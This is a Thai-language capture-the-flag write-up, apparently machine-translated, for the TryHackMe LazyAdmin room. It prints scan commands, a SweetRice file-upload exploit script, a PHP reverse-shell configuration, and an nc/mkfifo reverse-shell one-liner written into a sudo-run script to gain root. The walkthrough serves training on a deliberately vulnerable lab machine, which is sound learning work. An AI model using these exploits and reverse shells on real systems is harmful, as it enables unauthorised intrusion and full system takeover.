LazyAdmin [TryHackMe เขียน]

ห้องLazyAdmin (2019)ค่อนข้างน่าสนใจ ฉันคิดว่าผู้ดูแลระบบ "ขี้เกียจ" และด้วยเหตุนี้ความท้าทายนี้จะเป็นเรื่องง่าย ฉันคิดผิด และพบว่าตัวเองต้องอาศัยการเขียนของแฮ็กเกอร์คนก่อนเกี่ยวกับความท้าทายนี้

ภาพฐาน: “Bastard Operator from Hell” และ “Lil & Put”

ขั้นตอน

การสแกนเครือข่าย

เช่นเดียวกับเครื่อง boot2root เหล่านี้ ฉันบูตเครื่อง LazyAdmin และเริ่มตรวจสอบเครื่อง ฉันnmapสแกนด้วยพารามิเตอร์ต่อไปนี้:

$ nmap -sT -A -v -Pn -O -p- -oX tcp_scan.xml <target ip address>

การสแกนรายงานบริการ OpenSSH บนพอร์ต 22 และเว็บเซิร์ฟเวอร์ Apache บนพอร์ต 80

การตรวจสอบเว็บเซิร์ฟเวอร์

จากนั้นฉันก็รันgobusterเครื่องมือไปที่ไดเร็กทอรี brute-force และค้นพบไดเร็กทอรีย่อยที่เรียกว่า/content. เมื่อเรียกดู/contentไดเรกทอรีย่อย ฉันพบว่าเว็บเซิร์ฟเวอร์ใช้ระบบจัดการเนื้อหาที่เรียกว่า “SweetRice” ดังที่แสดงด้านล่าง:

เนื้อหาของ http:// /เนื้อหา

ดังนั้นฉันจึงเคยsearchsploitได้รับรายการการหาประโยชน์ที่เกี่ยวข้องกับ SweetRice CMS:

└─$ searchsploit sweetrice 
 [...]
Exploit Title | Path
 — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
SweetRice 0.5.3 — Remote File Inclusion | php/webapps/10246.txt
SweetRice 0.6.7 — Multiple Vulnerabilities | php/webapps/15413.txt
SweetRice 1.5.1 — Arbitrary File Download | php/webapps/40698.py
SweetRice 1.5.1 — Arbitrary File Upload | php/webapps/40716.py
SweetRice 1.5.1 — Backup Disclosure | php/webapps/40718.txt
SweetRice 1.5.1 — Cross-Site Request Forgery | php/webapps/40692.html
SweetRice 1.5.1 — Cross-Site Request Forgery / PHP Code Execution | php/webapps/40700.html
SweetRice < 0.6.4 — ‘FCKeditor’ Arbitrary File Upload | php/webapps/14184.txt
[...]

└─$ cat /usr/share/exploitdb/exploits/php/webapps/40718.txt
Title: SweetRice 1.5.1 — Backup Disclosure
Application: SweetRice
Versions Affected: 1.5.1
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Tested on: Windows 10
Bugs: Backup Disclosure
Date: 16-Sept-2016
Proof of Concept :
You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup
and can access to website files backup from:
http://localhost/SweetRice-transfer.zip

(#1) http://<target ip address>/content/inc/mysql_backup
(#2) http://<target ip address>/content/SweetRice-transfer.zip

[ ... snip ... ]
14 => ‘INSERT INTO `% — %_options` VALUES(\’1\’,\’global_setting\’,\’a:17:{s:4:\\”name\\”;s:25:\\”Lazy Admin&#039;s Website\\”;s:6:\\”author\\”;s:10:\\”Lazy Admin\\”;s:5:\\”title\\”;s:0:\\”\\”;s:8:\\”keywords\\”;s:8:\\”Keywords\\”;s:11:\\”description\\”;s:11:\\”Description\\”;s:5:\\”admin\\”;s:7:\\”manager\\”;s:6:\\”passwd\\”;s:32:\\”42f749ade7f9e195bf475f37a44cafcb\\”;s:5:\\”close\\”;i:1;s:9:\\”close_tip\\”;s:454:\\”<p>Welcome to SweetRice — Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\”Site close\\” to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\”;s:5:\\”cache\\”;i:0;s:13:\\”cache_expired\\”;i:0;s:10:\\”user_track\\”;i:0;s:11:\\”url_rewrite\\”;i:0;s:4:\\”logo\\”;s:0:\\”\\”;s:5:\\”theme\\”;s:0:\\”\\”;s:4:\\”lang\\”;s:9:\\”en-us.php\\”;s:11:\\”admin_email\\”;N;}\’,\’1575023409\’);’,
[ ... snip ... ]

”admin\\”;s:7:\\”manager\\”;s:6:\\”passwd\\”;s:32:\\”42f749ade7f9e195bf475f37a44cafcb\\”

เนื่องจากห้องนี้เรียกว่า "LazyAdmin" ฉันพยายามใช้ชุดชื่อผู้ใช้และรหัสผ่านของผู้จัดการและ Pasword123 เพื่อลงชื่อเข้าใช้บริการ SSH:

└─$ ssh manager@<target ip address> 
The authenticity of host ‘<target ip address> (<target ip address>)’ can’t be established.
ED25519 key fingerprint is SHA256:gIHwIzi5a1G1WvkLMxJuFhSXiUnHy58kdQUcxmC6rIQ.
This host key is known by the following other names/addresses:
 ~/.ssh/known_hosts:80: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘<target ip address>’ (ED25519) to the list of known hosts.
manager@<target ip address>’s password: [Password123]
Permission denied, please try again.
manager@<target ip address>’s password: [Password123]
Permission denied, please try again.
manager@<target ip address>’s password: [Password123]
manager@<target ip address>: Permission denied (publickey,password).

ช่องโหว่การอัพโหลดไฟล์

ดังนั้นฉันคิดว่าฉันควรมุ่งเน้นไปที่การใช้ประโยชน์จากเว็บแอปพลิเคชันSweetRice ฉันลองใช้แผงการดูแลระบบโดยไม่คืบหน้า เมื่อมองย้อนกลับไปที่ ผลลัพธ์ของ SearchSploitฉันสังเกตเห็นช่องโหว่อื่นที่เรียกว่า “SweetRice 1.5.1 — Arbitrary File Upload” ซึ่งฉันรู้ว่าฉันสามารถใช้เพื่ออัปโหลดเว็บเชลล์ไปยังเว็บเซิร์ฟเวอร์ได้

ดังนั้นฉันจึงตัดสินใจเรียกใช้สคริปต์ และได้รับข้อผิดพลาดต่อไปนี้:

[ … snip … ]
Enter The Target URL(Example : localhost.com) : http://<target ip address>/content/
Traceback (most recent call last):
 File “exploit.py”, line 37, in <module>
 host = input(“Enter The Target URL(Example : localhost.com) : “)
 File “<string>”, line 1
 http://<target ip address>/content/
 ^
SyntaxError: invalid syntax

[ ... snip ... ]
# Get Host & User & Pass & filename
host = input(“Enter The Target URL(Example : localhost.com) : “)
username = input(“Enter Username : “)
password = input(“Enter Password : “)
filename = input(“Enter FileName (Example:.htaccess,shell.php5,index.html) : “)
file = {‘upload[]’: open(filename, ‘rb’)}
payload = {
    ‘user’:username,
    ‘passwd’:password,
    ‘rememberMe’:’’
}
with session() as r:
    login = r.post(‘http://' + host + ‘/as/?type=signin’, data=payload)
    success = ‘Login success’
    if login.status_code == 200:
        print(“[+] Sending User&Pass…”)
            if login.text.find(success) > 1:
                print(“[+] Login Succssfully…”)
            else:
               print(“[-] User or Pass is incorrent…”)
               print(“Good Bye…”)
               exit()
               pass
            pass
    uploadfile = r.post(‘http://’ + host + ‘/as/?type=media_center&mode=upload’, files=file)
    if uploadfile.status_code == 200:
        print(“[+] File Uploaded…”)
        print(“[+] URL : http://” + host + “/attachment/” + filename)
        pass

  • ขั้นแรกเมื่อสคริปต์ขอhost, username, passwordและfilenameฟังก์ชันinput()จะต้องเปลี่ยนเป็นraw_input()
  • ประการที่สอง เมื่อป้อน ให้hostใส่บิต<target ip address>/<sweetrice directory>ลบ เท่านั้น http://ผู้เขียนสคริปต์ตั้งค่าให้ส่งคำขอเว็บด้วยhttp://คำนำหน้าแล้ว และการเพิ่ม "http://" อื่นจะทำให้สคริปต์การหาประโยชน์สับสน

/usr/share/webshells/php/php-reverse-shell.php

บน Kali Linux ฉันตั้งค่าคอนฟิกต่อไปนี้:

[ ... snip ... ]
set_time_limit (0);
$VERSION = “1.0”;
$ip = ‘<my attackbox ip address>’; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
[ ... snip ... ]

└─$ python exploit.py
Enter The Target URL(Example : localhost.com) : <target ip address>/content
Enter Username : manager
Enter Password : Password123 
Enter FileName (Example:.htaccess,shell.php5,index.html) : shell.php5
[+] Sending User&Pass…
[+] Login Succssfully…
[+] File Uploaded…
[+] URL : http://<target ip address>/content/attachment/shell.php5

└─$ nc -l -n -v -p 4444
listening on [any] 4444 …
[ … requests the php shell …]
connect to [<attackbox ip address>] from (UNKNOWN) [<target ip address>] 57614
Linux THM-Chal 4.15.0–70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 00:17:45 up 1:32, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$ whoami
www-data

แฟล็กและการเข้าถึงหลังเริ่มต้น

ฉันจะดำเนินการต่อโดยตั้งค่าสถานะผู้ใช้และหาวิธีรับสิทธิ์รูท:

$ cd /home
$ ls
itguy
$ cd itguy
$ ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl
examples.desktop
mysql_login.txt
user.txt
$ cat user.txt # <- the user flag
[redacted]

$ cat backup.pl
#!/usr/bin/perl
system(“sh”, “/etc/copy.sh”);

$ cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f

[ ... target machine ... ]
$ echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <target ip address> 5554 >/tmp/f” > /etc/copy.sh
$ sudo /usr/bin/perl /home/itguy/backup.pl
[ ... attackbox ... ]
└─$ nc -l -v -n -p 5554
listening on [any] 5554 ...
connect to [<attackbox ip address>] from (UNKNOWN) [<target ip address>] 36926
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt # <- the root flag
[redacted]

แม้ว่าชื่อจะออกมาดี แต่การปักธงที่นี่ก็ยังต้องใช้ทักษะมากกว่าที่ฉันจะเตรียมรับมือไว้เล็กน้อย ฉันต้องการความช่วยเหลือจาก“MurilandOracle” (2020)และฉันต้องฝึกฝนเพิ่มเติมเพื่อที่จะขึ้นไปสู่สถานะแฮ็กเกอร์ชั้นยอด

นอกจากนี้ยังเป็นที่น่าสังเกตว่าเมื่อเร็ว ๆ นี้"ippsec" และ "0xdf" (2022)ระบุว่าผู้เริ่มต้นเช่นตัวฉันเองสามารถอ้างอิงการเขียนได้หากพวกเขาพยายามแฮ็คคอมพิวเตอร์จำลองหรือเครือข่าย ฉันจะเพิ่มว่าควรพยายามแฮ็คระบบคอมพิวเตอร์ด้วยตัวเองก่อนที่จะเปลี่ยนเป็นการเขียน นอกจากนี้ อย่าลืมให้เครดิตเมื่อถึงกำหนดชำระ หากคุณตัดสินใจที่จะเขียนรายงานของคุณเอง ;-)

บทเรียนที่ได้รับ

  • บางครั้งการใช้ประโยชน์อาจพังได้ ดังนั้นต้องแน่ใจว่ามีพื้นหลังการเข้ารหัสและการดีบักเพื่อแก้ไข ;-)
  • ในกรณีที่ไม่มีnano, vimหรือโปรแกรมแก้ไขข้อความแบบใช้เทอร์มินัลอื่นๆ ให้ใช้echoเขียนทับไฟล์ที่มีa+rwxสิทธิ์ของไฟล์
  • ไม่ควรพึ่งพา Linux Smart Enumeration ( Blanco, nd ) หรือLinux Exploit Suggester มากเกินไป ( “mzet,” nd ) เนื่องจากบางครั้งการอนุญาตไดเรกทอรีอาจมีข้อจำกัดอย่างมาก
  • อย่าดูถูกดูแคลนผู้ดูแลระบบที่ "ขี้เกียจ" เนื่องจากอาจยังยากต่อการจัดการแม้ว่าจะขี้เกียจก็ตาม

บลังโก, ดี. (ลำดับ). Linux Smart Enumeration: เครื่องมือการแจงนับ Linux สำหรับการทดสอบ Pentesting และ CTF ที่มีระดับการใช้คำฟุ่มเฟือย GitHub. สืบค้นเมื่อ 7 กุมภาพันธ์ 2022 จาก:https://github.com/diego-treitos/linux-smart-enumeration

CrackStation (nd). สืบค้นเมื่อ 7 กุมภาพันธ์ 2022 จาก:https://crackstation.net/

“ippsec” และ “0xdf” (2022) ใช้ Writeups ได้ แฮ็คเดอะบ็อกซ์ สืบค้นเมื่อ 7 กุมภาพันธ์ 2022 จาก:https://www.hackthebox.com/blog/It-is-Okay-to-Use-Writeups

“คุณเซธ6797” (2019) LazyAdmin. ลองHackMe สืบค้นเมื่อ 7 กุมภาพันธ์ 2022 จาก:https://www.tryhackme.com/room/lazyadmin

“มูริแลนด์ออราเคิล” (2020) LazyAdmin — การเขียน สืบค้นเมื่อ 7 กุมภาพันธ์ 2022 จาก:https://muirlandoracle.co.uk/2020/01/11/lazyadmin-write-up/

“mzet” (nd). เครื่องมือตรวจ สอบการยกระดับสิทธิ์ Linux GitHub. สืบค้นเมื่อ 7 กุมภาพันธ์ 2022 จาก:https://github.com/mzet-/linux-exploit-suggester

🔈 🔈 Infosec Writeups กำลังจัดงานการประชุมเสมือนและการสร้างเครือข่ายขึ้นเป็นครั้งแรก หากคุณสนใจอินโฟเซค ที่แห่งนี้คือที่ที่เจ๋งที่สุดด้วยวิทยากรที่น่าทึ่ง 16 คนและเซสชั่นการสนทนาที่อัดแน่นไปด้วยพลังมากกว่า 10 ชั่วโมง ตรวจสอบรายละเอียดเพิ่มเติมและลงทะเบียนที่นี่

Suggested posts

การรวบรวม OSINT เพื่อการล่าภัยคุกคาม

การรวบรวม OSINT เพื่อการล่าภัยคุกคาม

สวัสดีชาวไซเบอร์! ยินดีต้อนรับกลับสู่ OSINT สำหรับซีรี่ส์การล่าภัยคุกคาม ในบทความแรก ฉันได้ให้ภาพรวมของ OSINT และความสำคัญในการตามล่าภัยคุกคาม

ติดตามใครก็ได้ด้วยหมายเลขโทรศัพท์ | การสอบสวน OSINT

ติดตามใครก็ได้ด้วยหมายเลขโทรศัพท์ | การสอบสวน OSINT

คุณสามารถเป็น OSINT Investigator, CTF Player หรือเพียงแค่ใครก็ตามที่ได้รับสายสแปม ผู้ที่พยายามยืนยันหมายเลขที่คุณเห็นในโฆษณา

Related posts

ศิลปะเคยไม่ฝักใฝ่ฝ่ายใดหรือไม่?

ศิลปะเคยไม่ฝักใฝ่ฝ่ายใดหรือไม่?

เมื่อวานนี้ เราปิดการแข่งขัน Eurovision Song Contest ปีนี้ด้วยตอนจบที่สดใสและวุ่นวาย โดย Loreen นักร้องชาวสวีเดนคว้าถ้วยรางวัลกลับบ้าน กลายเป็นผู้หญิงคนแรกที่ชนะสองครั้งและนำมงกุฎกลับมายังสวีเดน 50 ปีหลังจาก ABBA ชนะการแข่งขัน กับ “วอเตอร์ลู” พวกเขากลายเป็นหนึ่งในการแสดงที่ยิ่งใหญ่ที่สุดในวงการเพลงป๊อป

สองปีในการออกแบบ - ดี ไม่ดี และน่าเกลียด...

สองปีในการออกแบบ - ดี ไม่ดี และน่าเกลียด...

“หวัดดี Siri เล่น Me Dive โดย Olivia Dean” ในเดือนพฤษภาคม 2021 ฉันเริ่มฝึกงานที่ Future Academy Africa ในเมือง Akure ประเทศไนจีเรีย

ชีวิตไร้ขีดจำกัด

เมื่อคุณโตขึ้น คุณมักจะได้รับการบอกว่าโลกเป็นอย่างที่มันเป็น และชีวิตของคุณก็แค่ใช้ชีวิตอยู่ในโลก ไม่เสี่ยงชีวิต แค่เดินตามเส้นทางที่กำหนดและตายในที่สุด และพยายามอย่า ทุบกำแพงมากเกินไป แต่นั่นเป็นชีวิตที่จำกัดมาก

การสร้างสภาพแวดล้อมการทำงานที่ปลอดภัย

การสร้างสภาพแวดล้อมการทำงานที่ปลอดภัย

“เขาจะปกป้องฉันเมื่อฉันตกอยู่ในอันตราย เขาจะซ่อนฉันไว้ในเต็นท์ของเขา